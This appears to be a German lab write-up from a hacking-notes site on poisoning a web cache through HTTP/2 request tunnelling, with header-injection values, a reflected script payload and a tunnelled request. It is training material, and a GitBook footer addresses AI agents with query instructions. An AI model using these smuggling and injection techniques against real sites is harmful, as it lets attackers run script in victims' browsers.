> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# Web-Cache-Vergiftung durch HTTP/2-Request-Tunneling

### Web-Cache-Poisoning über HTTP/2-Request-Tunneling

Dieses Lab ist für Request Smuggling anfällig, weil der Front-End-Server HTTP/2-Anfragen auf HTTP/1.1 herabstuft und einige eingehende Header nicht ordnungsgemäß bereinigt. / Ziel ist es, den Cache zu vergiften, sodass beim Besuch der Startseite durch das Opfer dessen Browser ausführt `alert(1)`. / Ein Opfer-Benutzer greift automatisch alle 15 Sekunden auf die Seite zu.

Der Front-End-Server verwendet keine Verbindungen zum Back-End wieder. Klassische Smuggling-Angriffe funktionieren daher nicht, aber das Request-Tunneling bleibt nutzbar.

Auf der Startseite gibt es einen Cache-Mechanismus.

<figure><img src="/files/3a5700b59c6b84a488934b4dae49e81aab9eb20d" alt=""><figcaption></figcaption></figure>

#### Ein Downgrade auf HTTP/1.1 erzwingen

In Headern kann eine HTTP/1.1-Interpretation erzwungen werden, indem der folgende Typ erstellt wird:

{% code title="Wert" %}

```http
/post HTTP/1.1
Test:
```

{% endcode %}

Obwohl dadurch ein Fehler erzeugt wird, der darauf hinweist, dass der `Test` Header nicht existiert, zeigt es, dass die Anfrage vom Frontend neu interpretiert wird.

<figure><img src="/files/cc5018b3e9099c06365d30d2f0201b97132bdd4c" alt=""><figcaption></figcaption></figure>

#### Injektion in eine statische Ressource

Wenn wir die JavaScript-Datei des Labs ins Visier nehmen, stellen wir fest, dass das Hinzufügen eines skriptähnlichen Parameters in der Antwort reflektiert wird

```http
/resources/labheader/js?<script>alert(0)</script>
```

Die Ressource ist daher anfällig für Cache-Poisoning.

<figure><img src="/files/c0d797ca2b0e2a61e44dc6e34c56bf701590acd3" alt=""><figcaption></figcaption></figure>

#### Erstellung der getunnelten Anfrage

Senden Sie d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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

Diese Nutzlast wird vom Server infolge des Tunnelings neu interpretiert. / Der injizierte Inhalt wird in der Antwort der JavaScript-Ressource umgeschrieben, sodass Sie den Cache vergiften können.

Wenn das Opfer die Startseite erneut aufruft, lädt sein Browser diese vergiftete Version und führt aus `alert(1)`.

<figure><img src="/files/af97ed968c9c9a13c8bc9449de9abb2aadce19c2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
